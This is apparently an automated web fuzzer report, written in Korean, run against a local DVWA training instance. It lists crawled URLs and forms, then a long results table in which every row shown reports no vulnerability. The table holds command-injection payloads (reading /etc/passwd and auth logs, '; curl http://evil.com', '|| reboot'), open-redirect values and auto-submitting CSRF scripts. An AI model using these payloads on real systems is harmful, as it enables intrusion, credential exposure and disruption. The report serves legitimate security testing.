웹 퍼저 리포트

2025-06-05 15:46:50

목차

1. 크롤링 URL

크롤링한 URL
http://localhost:8000/#module_sqlite3
http://localhost:8000/#module_mysqli
http://localhost:8000/?doc=changelog
http://localhost:8000/#module_core
http://localhost:8000/#php-configuration
http://localhost:8000/phpinfo.php
http://localhost:8000/vulnerabilities/exec
http://localhost:8000/#module_filter
http://localhost:8000/#module_posix
http://localhost:8000/config/config.inc.php.dist
http://localhost:8000/#module_pdo
http://localhost:8000/#module_simplexml
http://localhost:8000/vulnerabilities/captcha
http://localhost:8000/vulnerabilities/fi/?page=include.php
http://localhost:8000/vulnerabilities/upload
http://localhost:8000/#module_gd
http://localhost:8000/#module_hash
http://localhost:8000/#module_standard
http://localhost:8000/#module_session
http://localhost:8000/vulnerabilities/sqli
http://localhost:8000/instructions.php
http://localhost:8000/vulnerabilities/xss_r
http://localhost:8000/vulnerabilities/api
http://localhost:8000/?doc=PDF
http://localhost:8000/README.fr.md
http://localhost:8000/vulnerabilities/xss_d
http://localhost:8000/#module_zlib
http://localhost:8000/#database-setup
http://localhost:8000/README.ar.md
http://localhost:8000/#module_xmlwriter
http://localhost:8000/logout.php
http://localhost:8000/README.pt.md
http://localhost:8000/README.vi.md
http://localhost:8000/README.pl.md
http://localhost:8000/README.zh.md
http://localhost:8000/vulnerabilities/open_redirect
http://localhost:8000/#module_pcre
http://localhost:8000/#module_phar
http://localhost:8000/#download

http://localhost:8000/README.ko.md
http://localhost:8000/#module_pdo_sqlite
http://localhost:8000/#module_tokenizer
http://localhost:8000/README.es.md
http://localhost:8000/vulnerabilities/csrf
http://localhost:8000
http://localhost:8000/#module_mysqlnd
http://localhost:8000/#i-want-to-run-dvwa-on-a-different-port
http://localhost:8000/#module_xml
http://localhost:8000/about.php
http://localhost:8000/vulnerabilities/cryptography
http://localhost:8000/#module_dom
http://localhost:8000/source/low.php?redirect=info.php?id=1
http://localhost:8000/#module_pdo_mysql
http://localhost:8000/login.php
http://localhost:8000/#module_openssl
http://localhost:8000/vulnerabilities/csp
http://localhost:8000/#module_spl
http://localhost:8000/vulnerabilities/sqli_blind
http://localhost:8000/vulnerabilities/xss_s
http://localhost:8000/compose.yml
http://localhost:8000/?page=file3.php
http://localhost:8000/?page=file1.php
http://localhost:8000/README.fa.md
http://localhost:8000/#module_json
http://localhost:8000/setup.php
http://localhost:8000/#module_fileinfo
http://localhost:8000/#module_random
http://localhost:8000/#module_reflection
http://localhost:8000/source/low.php?redirect=info.php?id=2
http://localhost:8000/#module_sodium
http://localhost:8000/?doc=readme
http://localhost:8000/#module_iconv
http://localhost:8000/vulnerabilities/weak_id
http://localhost:8000/README.tr.md
http://localhost:8000/?page=file2.php
http://localhost:8000/#module_mbstring
http://localhost:8000/vulnerabilities/javascript
http://localhost:8000/#module_curl
http://localhost:8000/security.php
http://localhost:8000/#module_ctype
http://localhost:8000/vulnerabilities/brute

http://localhost:8000/#module_xmlreader
http://localhost:8000/#module_date
http://localhost:8000/README.id.md
http://localhost:8000/#module_apache2handler
http://localhost:8000/#module_libxml
http://localhost:8000/?doc=copying

2. 입력 폼 정보

URL	폼 액션	메소드	입력 필드
http://localhost:8000/vulnerabilities/exec	http://localhost:8000/vulnerabilities/exec	POST	ip (text), Submit (submit)
http://localhost:8000/vulnerabilities/cryptography	http://localhost:8000/vulnerabilities/cryptography/index.php	POST	message (textarea), direction (radio), direction (radio), None (submit)
http://localhost:8000/vulnerabilities/cryptography	http://localhost:8000/vulnerabilities/cryptography/index.php	POST	password (password), None (submit)
http://localhost:8000/vulnerabilities/csp	http://localhost:8000/vulnerabilities/csp	POST	include (text), None (submit)
http://localhost:8000/vulnerabilities/captcha	http://localhost:8000/vulnerabilities/captcha	POST	step (hidden), password_new (password), password_conf (password), Change (submit)
http://localhost:8000/vulnerabilities/sqli_blind	http://localhost:8000/vulnerabilities/sqli_blind	GET	id (text), Submit (submit)
http://localhost:8000/vulnerabilities/xss_s	http://localhost:8000/vulnerabilities/xss_s	POST	txtName (text), mtxMessage (textarea), btnSign (submit), btnClear (submit)
http://localhost:8000/vulnerabilities/upload	http://localhost:8000/vulnerabilities/upload	POST	MAX_FILE_SIZE (hidden), uploaded (file), Upload (submit)
http://localhost:8000/setup.php	http://localhost:8000/setup.php	POST	create_db (submit), user_token (hidden)
http://localhost:8000/vulnerabilities/sqli	http://localhost:8000/vulnerabilities/sqli	GET	id (text), Submit (submit)
http://localhost:8000/vulnerabilities/xss_r	http://localhost:8000/vulnerabilities/xss_r	GET	name (text), None (submit)
http://localhost:8000/vulnerabilities/weak_id	http://localhost:8000/vulnerabilities/weak_id	POST	None (submit)
http://localhost:8000/vulnerabilities/xss_d	http://localhost:8000/vulnerabilities/xss_d	GET	None (submit)
http://localhost:8000/vulnerabilities/javascript	http://localhost:8000/vulnerabilities/javascript	POST	token (hidden), phrase (text), send (submit)
http://localhost:8000/login.php	http://localhost:8000/login.php	POST	username (text), password (password), Login (submit), user_token (hidden)
http://localhost:8000/security.php	http://localhost:8000/security.php	POST	seclev_submit (submit), user_token (hidden)
http://localhost:8000/vulnerabilities/brute	http://localhost:8000/vulnerabilities/brute	GET	username (text), password (password), Login (submit)
http://localhost:8000/vulnerabilities/csrf	http://localhost:8000/vulnerabilities/csrf	GET	password_new (password), password_conf (password), Change (submit)

3. 퍼징 탐지 결과

카테고리	폼 액션	페이로드	탐지 결과	HTTP 상태	응답 시간
command_injection	http://localhost:8000/vulnerabilities/exec	| cat /etc/passwd	취약점 없음	200	0.02s
command_injection	http://localhost:8000/vulnerabilities/exec	| id	취약점 없음	200	0.02s
command_injection	http://localhost:8000/vulnerabilities/exec	&& cat /var/log/auth.log	취약점 없음	200	0.02s
command_injection	http://localhost:8000/vulnerabilities/exec	; ls	취약점 없음	200	0.03s
command_injection	http://localhost:8000/vulnerabilities/exec	&& whoami	취약점 없음	200	0.03s
command_injection	http://localhost:8000/vulnerabilities/exec	; ps aux	취약점 없음	200	0.03s
command_injection	http://localhost:8000/vulnerabilities/exec	; netstat -an	취약점 없음	200	0.03s
command_injection	http://localhost:8000/vulnerabilities/exec	; sleep 5	취약점 없음	200	0.03s
command_injection	http://localhost:8000/vulnerabilities/exec	; uname -a	취약점 없음	200	0.03s
command_injection	http://localhost:8000/vulnerabilities/exec	ping -c 1 127.0.0.1	취약점 없음	200	0.03s
command_injection	http://localhost:8000/vulnerabilities/exec	& nslookup example.com	취약점 없음	200	0.03s
command_injection	http://localhost:8000/vulnerabilities/exec	$(whoami)	취약점 없음	200	0.03s
command_injection	http://localhost:8000/vulnerabilities/exec	; curl http://evil.com	취약점 없음	200	0.03s
command_injection	http://localhost:8000/vulnerabilities/exec	|| reboot	취약점 없음	200	0.04s
open_redirect	http://localhost:8000/vulnerabilities/exec	//evil.com	취약점 없음	200	0.10s
open_redirect	http://localhost:8000/vulnerabilities/exec	https://evil.com	취약점 없음	200	0.10s
open_redirect	http://localhost:8000/vulnerabilities/exec	http://evil.com	취약점 없음	200	0.10s
csrf	http://localhost:8000/vulnerabilities/exec	<a href='http://example.com/api/setusername?username=CSRFd'>Click Me</a>	취약점 없음	200	0.10s
csrf	http://localhost:8000/vulnerabilities/exec	<img src='http://example.com/api/setusername?username=CSRFd' >	취약점 없음	200	0.10s

csrf	http://localhost:8000/vulnerabilities/exec	<form action='http://example.com/api/setusername' enctype='text/plain' method='POST'><input name='username' type='hidden' value='CSRFd' /><input type='submit' value='Submit Request' /></form>	취약점 없음	200	0.10s
csrf	http://localhost:8000/vulnerabilities/exec	<form id='autosubmit' action='http://example.com/api/setusername' enctype='text/plain' method='POST'><input name='username' type='hidden' value='CSRFd' /><input type='submit' value='Submit Request' /></form><script>document.getElementById('autosubmit').submit();</script>	취약점 없음	200	0.10s
csrf	http://localhost:8000/vulnerabilities/exec	<script>var xhr = new XMLHttpRequest();xhr.open('GET', 'http://example.com/api/currentuser');xhr.send();</script>	취약점 없음	200	0.11s
csrf	http://localhost:8000/vulnerabilities/exec	<script>var xhr = new XMLHttpRequest();xhr.open('POST', 'http://example.com/api/setrole');xhr.setRequestHeader('Content-Type', 'text/plain');xhr.send('{"role":admin}');</script>	취약점 없음	200	0.11s
csrf	http://localhost:8000/vulnerabilities/exec	<form id='CSRF_POC' action='http://example.com/api/setrole' enctype='text/plain' method='POST'><input type='hidden' name='{"role":admin, "other":"' value='"}' /></form><script>document.getElementById('CSRF_POC').submit();</script>	취약점 없음	200	0.11s
command_injection	http://localhost:8000/vulnerabilities/cryptography/index.php	; ls	취약점 없음	200	0.11s

csrf	http://localhost:8000/vulnerabilities/exec	<script>var xhr = new XMLHttpRequest();xhr.open('POST', 'http://example.com/api/setrole');xhr.withCredentials = true;xhr.setRequestHeader('Content-Type', 'application/json;charset=UTF-8');xhr.send('{"role":admin}');</script>	취약점 없음	200	0.11s
command_injection	http://localhost:8000/vulnerabilities/cryptography/index.php	| id	취약점 없음	200	0.11s
command_injection	http://localhost:8000/vulnerabilities/cryptography/index.php	&& whoami	취약점 없음	200	0.11s
command_injection	http://localhost:8000/vulnerabilities/cryptography/index.php	| cat /etc/passwd	취약점 없음	200	0.11s
command_injection	http://localhost:8000/vulnerabilities/cryptography/index.php	; ps aux	취약점 없음	200	0.11s
command_injection	http://localhost:8000/vulnerabilities/cryptography/index.php	&& cat /var/log/auth.log	취약점 없음	200	0.11s
command_injection	http://localhost:8000/vulnerabilities/cryptography/index.php	; uname -a	취약점 없음	200	0.11s
command_injection	http://localhost:8000/vulnerabilities/cryptography/index.php	; netstat -an	취약점 없음	200	0.11s
command_injection	http://localhost:8000/vulnerabilities/cryptography/index.php	; sleep 5	취약점 없음	200	0.11s
command_injection	http://localhost:8000/vulnerabilities/cryptography/index.php	ping -c 1 127.0.0.1	취약점 없음	200	0.11s
command_injection	http://localhost:8000/vulnerabilities/cryptography/index.php	; curl http://evil.com	취약점 없음	200	0.11s
command_injection	http://localhost:8000/vulnerabilities/cryptography/index.php	& nslookup example.com	취약점 없음	200	0.11s
command_injection	http://localhost:8000/vulnerabilities/cryptography/index.php	|| reboot	취약점 없음	200	0.11s
csrf	http://localhost:8000/vulnerabilities/cryptography/index.php	<a href='http://example.com/api/setusername?username=CSRFd'>Click Me</a>	취약점 없음	200	0.11s
command_injection	http://localhost:8000/vulnerabilities/cryptography/index.php	$(whoami)	취약점 없음	200	0.12s

open_redirect	http://localhost:8000/vulnerabilities/cryptography/index.php	https://evil.com	취약점 없음	200	0.12s
open_redirect	http://localhost:8000/vulnerabilities/cryptography/index.php	http://evil.com	취약점 없음	200	0.12s
open_redirect	http://localhost:8000/vulnerabilities/cryptography/index.php	//evil.com	취약점 없음	200	0.12s
csrf	http://localhost:8000/vulnerabilities/cryptography/index.php	<img src='http://example.com/api/setusername?username=CSRFd'>	취약점 없음	200	0.12s
csrf	http://localhost:8000/vulnerabilities/cryptography/index.php	<form id='autosubmit' action='http://example.com/api/setusername' enctype='text/plain' method='POST'><input name='username' type='hidden' value='CSRFd' /><input type='submit' value='Submit Request' /></form><script>document.getElementById('autosubmit').submit();</script>	취약점 없음	200	0.12s
csrf	http://localhost:8000/vulnerabilities/cryptography/index.php	<script>var xhr = new XMLHttpRequest();xhr.open('GET', 'http://example.com/api/currentuser');xhr.send();</script>	취약점 없음	200	0.12s
csrf	http://localhost:8000/vulnerabilities/cryptography/index.php	<script>var xhr = new XMLHttpRequest();xhr.open('POST', 'http://example.com/api/setrole');xhr.setRequestHeader('Content-Type', 'text/plain');xhr.send('{"role":admin}');</script>	취약점 없음	200	0.12s
csrf	http://localhost:8000/vulnerabilities/cryptography/index.php	<form action='http://example.com/api/setusername' enctype='text/plain' method='POST'><input name='username' type='hidden' value='CSRFd' /><input type='submit' value='Submit Request' /></form>	취약점 없음	200	0.12s

csrf	http://localhost:8000/vulnerabilities/cryptography/index.php	<form id='CSRF_POC' action='http://example.com/api/setrole' enctype='text/plain' method='POST'><input type='hidden' name='{"role":admin, "other":"' value='"}' /></form><script>document.getElementById('CSRF_POC').submit();</script>	취약점 없음	200	0.12s
command_injection	http://localhost:8000/vulnerabilities/cryptography/index.php	; ls	취약점 없음	200	0.12s
csrf	http://localhost:8000/vulnerabilities/cryptography/index.php	<script>var xhr = new XMLHttpRequest();xhr.open('POST', 'http://example.com/api/setrole');xhr.withCredentials = true;xhr.setRequestHeader('Content-Type', 'application/json;charset=UTF-8');xhr.send('{"role":admin}');</script>	취약점 없음	200	0.12s
command_injection	http://localhost:8000/vulnerabilities/cryptography/index.php	&& whoami	취약점 없음	200	0.12s
command_injection	http://localhost:8000/vulnerabilities/cryptography/index.php	| id	취약점 없음	200	0.12s
command_injection	http://localhost:8000/vulnerabilities/cryptography/index.php	| cat /etc/passwd	취약점 없음	200	0.12s
command_injection	http://localhost:8000/vulnerabilities/cryptography/index.php	; uname -a	취약점 없음	200	0.12s
command_injection	http://localhost:8000/vulnerabilities/cryptography/index.php	; ps aux	취약점 없음	200	0.12s
command_injection	http://localhost:8000/vulnerabilities/cryptography/index.php	; netstat -an	취약점 없음	200	0.12s
command_injection	http://localhost:8000/vulnerabilities/cryptography/index.php	&& cat /var/log/auth.log	취약점 없음	200	0.12s
command_injection	http://localhost:8000/vulnerabilities/cryptography/index.php	; sleep 5	취약점 없음	200	0.12s
command_injection	http://localhost:8000/vulnerabilities/cryptography/index.php	ping -c 1 127.0.0.1	취약점 없음	200	0.12s
command_injection	http://localhost:8000/vulnerabilities/cryptography/index.php	& nslookup example.com	취약점 없음	200	0.13s

command_injection	http://localhost:8000/vulnerabilities/cryptography/index.php	$(whoami)	취약점 없음	200	0.13s
command_injection	http://localhost:8000/vulnerabilities/cryptography/index.php	; curl http://evil.com	취약점 없음	200	0.13s
command_injection	http://localhost:8000/vulnerabilities/cryptography/index.php	|| reboot	취약점 없음	200	0.13s
open_redirect	http://localhost:8000/vulnerabilities/cryptography/index.php	//evil.com	취약점 없음	200	0.13s
open_redirect	http://localhost:8000/vulnerabilities/cryptography/index.php	http://evil.com	취약점 없음	200	0.13s
open_redirect	http://localhost:8000/vulnerabilities/cryptography/index.php	https://evil.com	취약점 없음	200	0.13s
csrf	http://localhost:8000/vulnerabilities/cryptography/index.php	<img src='http://example.com/api/setusername?username=CSRFd'>	취약점 없음	200	0.13s
csrf	http://localhost:8000/vulnerabilities/cryptography/index.php	<a href='http://example.com/api/setusername?username=CSRFd'>Click Me</a>	취약점 없음	200	0.13s
csrf	http://localhost:8000/vulnerabilities/cryptography/index.php	<form action='http://example.com/api/setusername' enctype='text/plain' method='POST'><input name='username' type='hidden' value='CSRFd' /><input type='submit' value='Submit Request' /></form>	취약점 없음	200	0.13s
csrf	http://localhost:8000/vulnerabilities/cryptography/index.php	<form id='autosubmit' action='http://example.com/api/setusername' enctype='text/plain' method='POST'><input name='username' type='hidden' value='CSRFd' /><input type='submit' value='Submit Request' /></form><script>document.getElementById('autosubmit').submit();</script>	취약점 없음	200	0.13s
csrf	http://localhost:8000/vulnerabilities/cryptography/index.php	<script>var xhr = new XMLHttpRequest();xhr.open('GET', 'http://example.com/api/currentuser');xhr.send();</script>	취약점 없음	200	0.13s

csrf	http://localhost:8000/vulnerabilities/cryptography/index.php	<script>var xhr = new XMLHttpRequest();xhr.open('POST', 'http://example.com/api/setrole');xhr.setRequestHeader('Content-Type', 'text/plain');xhr.send('{"role":admin}');</script>	취약점 없음	200	0.13s
csrf	http://localhost:8000/vulnerabilities/cryptography/index.php	<script>var xhr = new XMLHttpRequest();xhr.open('POST', 'http://example.com/api/setrole');xhr.withCredentials = true;xhr.setRequestHeader('Content-Type', 'application/json;charset=UTF-8');xhr.send('{"role":admin}');</script>	취약점 없음	200	0.13s
csrf	http://localhost:8000/vulnerabilities/cryptography/index.php	<form id='CSRF_POC' action='http://example.com/api/setrole' enctype='text/plain' method='POST'><input type='hidden' name='{"role":admin, "other":"' value='"}' /></form><script>document.getElementById('CSRF_POC').submit();</script>	취약점 없음	200	0.13s
command_injection	http://localhost:8000/vulnerabilities/cryptography	; ls	취약점 없음	200	0.13s
command_injection	http://localhost:8000/vulnerabilities/cryptography	&& whoami	취약점 없음	200	0.13s
command_injection	http://localhost:8000/vulnerabilities/cryptography	| id	취약점 없음	200	0.13s
command_injection	http://localhost:8000/vulnerabilities/cryptography	| cat /etc/passwd	취약점 없음	200	0.13s
command_injection	http://localhost:8000/vulnerabilities/cryptography	&& cat /var/log/auth.log	취약점 없음	200	0.13s
command_injection	http://localhost:8000/vulnerabilities/cryptography	; uname -a	취약점 없음	200	0.13s
command_injection	http://localhost:8000/vulnerabilities/cryptography	; ps aux	취약점 없음	200	0.13s
command_injection	http://localhost:8000/vulnerabilities/cryptography	; netstat -an	취약점 없음	200	0.14s
command_injection	http://localhost:8000/vulnerabilities/cryptography	ping -c 1 127.0.0.1	취약점 없음	200	0.14s

command_injection	http://localhost:8000/vulnerabilities/cryptography	; sleep 5	취약점 없음	200	0.14s
command_injection	http://localhost:8000/vulnerabilities/cryptography	$(whoami)	취약점 없음	200	0.14s
command_injection	http://localhost:8000/vulnerabilities/cryptography	& nslookup example.com	취약점 없음	200	0.14s
command_injection	http://localhost:8000/vulnerabilities/cryptography	; curl http://evil.com	취약점 없음	200	0.14s
command_injection	http://localhost:8000/vulnerabilities/cryptography	|| reboot	취약점 없음	200	0.14s
open_redirect	http://localhost:8000/vulnerabilities/cryptography	http://evil.com	취약점 없음	200	0.14s
open_redirect	http://localhost:8000/vulnerabilities/cryptography	//evil.com	취약점 없음	200	0.14s
open_redirect	http://localhost:8000/vulnerabilities/cryptography	https://evil.com	취약점 없음	200	0.14s
csrf	http://localhost:8000/vulnerabilities/cryptography	<a href='http://example.com/api/setusername?username=CSRFd'>Click Me</a>	취약점 없음	200	0.14s
csrf	http://localhost:8000/vulnerabilities/cryptography	<img src='http://example.com/api/setusername?username=CSRFd'>	취약점 없음	200	0.14s
csrf	http://localhost:8000/vulnerabilities/cryptography	<form action='http://example.com/api/setusername' enctype='text/plain' method='POST'><input name='username' type='hidden' value='CSRFd' /><input type='submit' value='Submit Request' /></form>	취약점 없음	200	0.14s
csrf	http://localhost:8000/vulnerabilities/cryptography	<form id='autosubmit' action='http://example.com/api/setusername' enctype='text/plain' method='POST'><input name='username' type='hidden' value='CSRFd' /><input type='submit' value='Submit Request' /></form><script>document.getElementById('autosubmit').submit();</script>	취약점 없음	200	0.14s

csrf	http://localhost:8000/vulnerabilities/cryptography	<script>var xhr = new XMLHttpRequest();xhr.open('GET', 'http://example.com/api/currentuser');xhr.send();</script>	취약점 없음	200	0.14s
csrf	http://localhost:8000/vulnerabilities/cryptography	<script>var xhr = new XMLHttpRequest();xhr.open('POST', 'http://example.com/api/setrole');xhr.setRequestHeader('Content-Type', 'text/plain');xhr.send('{"role":admin}');</script>	취약점 없음	200	0.14s
command_injection	http://localhost:8000/vulnerabilities/csp	; ls	취약점 없음	200	0.14s
csrf	http://localhost:8000/vulnerabilities/cryptography	<form id='CSRF_POC' action='http://example.com/api/setrole' enctype='text/plain' method='POST'><input type='hidden' name='{"role":admin, "other":"' value='"}' /></form><script>document.getElementById('CSRF_POC').submit();</script>	취약점 없음	200	0.15s
csrf	http://localhost:8000/vulnerabilities/cryptography	<script>var xhr = new XMLHttpRequest();xhr.open('POST', 'http://example.com/api/setrole');xhr.withCredentials = true;xhr.setRequestHeader('Content-Type', 'application/json;charset=UTF-8');xhr.send('{"role":admin}');</script>	취약점 없음	200	0.15s
command_injection	http://localhost:8000/vulnerabilities/csp	&& whoami	취약점 없음	200	0.15s
command_injection	http://localhost:8000/vulnerabilities/csp	| id	취약점 없음	200	0.15s
command_injection	http://localhost:8000/vulnerabilities/csp	| cat /etc/passwd	취약점 없음	200	0.15s
command_injection	http://localhost:8000/vulnerabilities/csp	&& cat /var/log/auth.log	취약점 없음	200	0.15s
command_injection	http://localhost:8000/vulnerabilities/csp	; uname -a	취약점 없음	200	0.15s
command_injection	http://localhost:8000/vulnerabilities/csp	; ps aux	취약점 없음	200	0.15s
command_injection	http://localhost:8000/vulnerabilities/csp	; netstat -an	취약점 없음	200	0.15s
command_injection	http://localhost:8000/vulnerabilities/csp	; sleep 5	취약점 없음	200	0.15s
command_injection	http://localhost:8000/vulnerabilities/csp	ping -c 1 127.0.0.1	취약점 없음	200	0.15s

command_injection	http://localhost:8000/vulnerabilities/csp	$(whoami)	취약점 없음	200	0.15s
command_injection	http://localhost:8000/vulnerabilities/csp	& nslookup example.com	취약점 없음	200	0.15s
command_injection	http://localhost:8000/vulnerabilities/csp	; curl http://evil.com	취약점 없음	200	0.15s
command_injection	http://localhost:8000/vulnerabilities/csp	|| reboot	취약점 없음	200	0.15s
open_redirect	http://localhost:8000/vulnerabilities/csp	//evil.com	취약점 없음	200	0.16s
open_redirect	http://localhost:8000/vulnerabilities/csp	https://evil.com	취약점 없음	200	0.16s
open_redirect	http://localhost:8000/vulnerabilities/csp	http://evil.com	취약점 없음	200	0.16s
csrf	http://localhost:8000/vulnerabilities/csp	<a href='http://example.com/api/setusername?username=CSRFd'>Click Me</a>	취약점 없음	200	0.16s
csrf	http://localhost:8000/vulnerabilities/csp	<img src='http://example.com/api/setusername?username=CSRFd'>	취약점 없음	200	0.16s
csrf	http://localhost:8000/vulnerabilities/csp	<form action='http://example.com/api/setusername' enctype='text/plain' method='POST'><input name='username' type='hidden' value='CSRFd' /><input type='submit' value='Submit Request' /></form>	취약점 없음	200	0.16s
csrf	http://localhost:8000/vulnerabilities/csp	<form id='autosubmit' action='http://example.com/api/setusername' enctype='text/plain' method='POST'><input name='username' type='hidden' value='CSRFd' /><input type='submit' value='Submit Request' /></form><script>document.getElementById('autosubmit').submit();</script>	취약점 없음	200	0.16s
csrf	http://localhost:8000/vulnerabilities/csp	<script>var xhr = new XMLHttpRequest();xhr.open('GET', 'http://example.com/api/currentuser');xhr.send();</script>	취약점 없음	200	0.16s

csrf	http://localhost:8000/vulnerabilities/csp	<script>var xhr = new XMLHttpRequest();xhr.open('POST', 'http://example.com/api/setrole');xhr.setRequestHeader('Content-Type', 'text/plain');xhr.send('{"role":admin}');</script>	취약점 없음	200	0.16s
csrf	http://localhost:8000/vulnerabilities/csp	<form id='CSRF_POC' action='http://example.com/api/setrole' enctype='text/plain' method='POST'><input type='hidden' name='{"role":admin, "other":"' value='"}' /></form><script>document.getElementById('CSRF_POC').submit();</script>	취약점 없음	200	0.16s
csrf	http://localhost:8000/vulnerabilities/csp	<script>var xhr = new XMLHttpRequest();xhr.open('POST', 'http://example.com/api/setrole');xhr.withCredentials = true;xhr.setRequestHeader('Content-Type', 'application/json;charset=UTF-8');xhr.send('{"role":admin}');</script>	취약점 없음	200	0.16s
command_injection	http://localhost:8000/vulnerabilities/captcha	; ls	취약점 없음	200	0.16s
command_injection	http://localhost:8000/vulnerabilities/captcha	&& whoami	취약점 없음	200	0.16s
command_injection	http://localhost:8000/vulnerabilities/captcha	| id	취약점 없음	200	0.16s
command_injection	http://localhost:8000/vulnerabilities/captcha	| cat /etc/passwd	취약점 없음	200	0.16s
command_injection	http://localhost:8000/vulnerabilities/captcha	&& cat /var/log/auth.log	취약점 없음	200	0.17s
command_injection	http://localhost:8000/vulnerabilities/captcha	; uname -a	취약점 없음	200	0.17s
command_injection	http://localhost:8000/vulnerabilities/captcha	; ps aux	취약점 없음	200	0.17s
command_injection	http://localhost:8000/vulnerabilities/captcha	; netstat -an	취약점 없음	200	0.17s
command_injection	http://localhost:8000/vulnerabilities/captcha	; sleep 5	취약점 없음	200	0.17s
command_injection	http://localhost:8000/vulnerabilities/captcha	ping -c 1 127.0.0.1	취약점 없음	200	0.17s
command_injection	http://localhost:8000/vulnerabilities/captcha	$(whoami)	취약점 없음	200	0.17s
command_injection	http://localhost:8000/vulnerabilities/captcha	& nslookup example.com	취약점 없음	200	0.17s

command_injection	http://localhost:8000/vulnerabilities/captcha	; curl http://evil.com	취약점 없음	200	0.17s
command_injection	http://localhost:8000/vulnerabilities/captcha	|| reboot	취약점 없음	200	0.17s
open_redirect	http://localhost:8000/vulnerabilities/captcha	//evil.com	취약점 없음	200	0.17s
open_redirect	http://localhost:8000/vulnerabilities/captcha	https://evil.com	취약점 없음	200	0.17s
open_redirect	http://localhost:8000/vulnerabilities/captcha	http://evil.com	취약점 없음	200	0.17s
csrf	http://localhost:8000/vulnerabilities/captcha	<a href='http://example.com/api/setusername?username=CSRFd'>Click Me</a>	취약점 없음	200	0.17s
csrf	http://localhost:8000/vulnerabilities/captcha	<img src='http://example.com/api/setusername?username=CSRFd'>	취약점 없음	200	0.18s
csrf	http://localhost:8000/vulnerabilities/captcha	<form action='http://example.com/api/setusername' enctype='text/plain' method='POST'><input name='username' type='hidden' value='CSRFd' /><input type='submit' value='Submit Request' /></form>	취약점 없음	200	0.18s
csrf	http://localhost:8000/vulnerabilities/captcha	<form id='autosubmit' action='http://example.com/api/setusername' enctype='text/plain' method='POST'><input name='username' type='hidden' value='CSRFd' /><input type='submit' value='Submit Request' /></form><script>document.getElementById('autosubmit').submit();</script>	취약점 없음	200	0.18s
csrf	http://localhost:8000/vulnerabilities/captcha	<script>var xhr = new XMLHttpRequest();xhr.open('GET', 'http://example.com/api/currentuser');xhr.send();</script>	취약점 없음	200	0.18s
csrf	http://localhost:8000/vulnerabilities/captcha	<script>var xhr = new XMLHttpRequest();xhr.open('POST', 'http://example.com/api/setrole');xhr.setRequestHeader('Content-Type', 'text/plain');xhr.send('{"role":admin}');</script>	취약점 없음	200	0.18s

csrf	http://localhost:8000/vulnerabilities/captcha	<form id='CSRF_POC' action='http://example.com/api/setrole' enctype='text/plain' method='POST'><input type='hidden' name='{"role":admin, "other":"' value='"}' /></form><script>document.getElementById('CSRF_POC').submit();</script>	취약점 없음	200	0.18s
csrf	http://localhost:8000/vulnerabilities/captcha	<script>var xhr = new XMLHttpRequest();xhr.open('POST', 'http://example.com/api/setrole');xhr.withCredentials = true;xhr.setRequestHeader('Content-Type', 'application/json;charset=UTF-8');xhr.send('{"role":admin}');</script>	취약점 없음	200	0.18s
command_injection	http://localhost:8000/vulnerabilities/sqli_blind	; ls	취약점 없음	404	0.18s
command_injection	http://localhost:8000/vulnerabilities/sqli_blind	&& whoami	취약점 없음	404	0.18s
command_injection	http://localhost:8000/vulnerabilities/sqli_blind	| id	취약점 없음	404	0.18s
command_injection	http://localhost:8000/vulnerabilities/sqli_blind	| cat /etc/passwd	취약점 없음	404	0.18s
command_injection	http://localhost:8000/vulnerabilities/sqli_blind	&& cat /var/log/auth.log	취약점 없음	404	0.18s
command_injection	http://localhost:8000/vulnerabilities/sqli_blind	; uname -a	취약점 없음	404	0.18s
command_injection	http://localhost:8000/vulnerabilities/sqli_blind	; ps aux	취약점 없음	404	0.18s
command_injection	http://localhost:8000/vulnerabilities/sqli_blind	; netstat -an	취약점 없음	404	0.19s
command_injection	http://localhost:8000/vulnerabilities/sqli_blind	; sleep 5	취약점 없음	404	0.19s
command_injection	http://localhost:8000/vulnerabilities/sqli_blind	ping -c 1 127.0.0.1	취약점 없음	404	0.19s
command_injection	http://localhost:8000/vulnerabilities/sqli_blind	$(whoami)	취약점 없음	404	0.19s
command_injection	http://localhost:8000/vulnerabilities/sqli_blind	& nslookup example.com	취약점 없음	404	0.19s
command_injection	http://localhost:8000/vulnerabilities/sqli_blind	; curl http://evil.com	취약점 없음	404	0.19s
command_injection	http://localhost:8000/vulnerabilities/sqli_blind	|| reboot	취약점 없음	404	0.19s
open_redirect	http://localhost:8000/vulnerabilities/sqli_blind	//evil.com	취약점 없음	404	0.19s
open_redirect	http://localhost:8000/vulnerabilities/sqli_blind	https://evil.com	취약점 없음	404	0.19s

open_redirect	http://localhost:8000/vulnerabilities/sqli_blind	http://evil.com	취약점 없음	404	0.19s
csrf	http://localhost:8000/vulnerabilities/sqli_blind	<a href='http://example.com/api/setusername?username=CSRFd'>Click Me</a>	취약점 없음	200	0.19s
csrf	http://localhost:8000/vulnerabilities/sqli_blind	<img src='http://example.com/api/setusername?username=CSRFd'>	취약점 없음	200	0.19s
csrf	http://localhost:8000/vulnerabilities/sqli_blind	<form action='http://example.com/api/setusername' enctype='text/plain' method='POST'><input name='username' type='hidden' value='CSRFd' /><input type='submit' value='Submit Request' /></form>	취약점 없음	200	0.19s
csrf	http://localhost:8000/vulnerabilities/sqli_blind	<form id='autosubmit' action='http://example.com/api/setusername' enctype='text/plain' method='POST'><input name='username' type='hidden' value='CSRFd' /><input type='submit' value='Submit Request' /></form><script>document.getElementById('autosubmit').submit();</script>	취약점 없음	200	0.19s
csrf	http://localhost:8000/vulnerabilities/sqli_blind	<script>var xhr = new XMLHttpRequest();xhr.open('GET', 'http://example.com/api/currentuser');xhr.send();</script>	취약점 없음	200	0.20s
csrf	http://localhost:8000/vulnerabilities/sqli_blind	<script>var xhr = new XMLHttpRequest();xhr.open('POST', 'http://example.com/api/setrole');xhr.setRequestHeader('Content-Type', 'text/plain');xhr.send('{"role":admin}');</script>	취약점 없음	200	0.20s

csrf	http://localhost:8000/vulnerabilities/sqli_blind	<form id='CSRF_POC' action='http://example.com/api/setrole' enctype='text/plain' method='POST'><input type='hidden' name='{"role":admin, "other":"' value='"}' /></form><script>document.getElementById('CSRF_POC').submit();</script>	취약점 없음	200	0.20s
csrf	http://localhost:8000/vulnerabilities/sqli_blind	<script>var xhr = new XMLHttpRequest();xhr.open('POST', 'http://example.com/api/setrole');xhr.withCredentials = true;xhr.setRequestHeader('Content-Type', 'application/json;charset=UTF-8');xhr.send('{"role":admin}');</script>	취약점 없음	200	0.20s
command_injection	http://localhost:8000/vulnerabilities/xss_s	; ls	취약점 없음	200	0.20s
command_injection	http://localhost:8000/vulnerabilities/xss_s	&& whoami	취약점 없음	200	0.20s
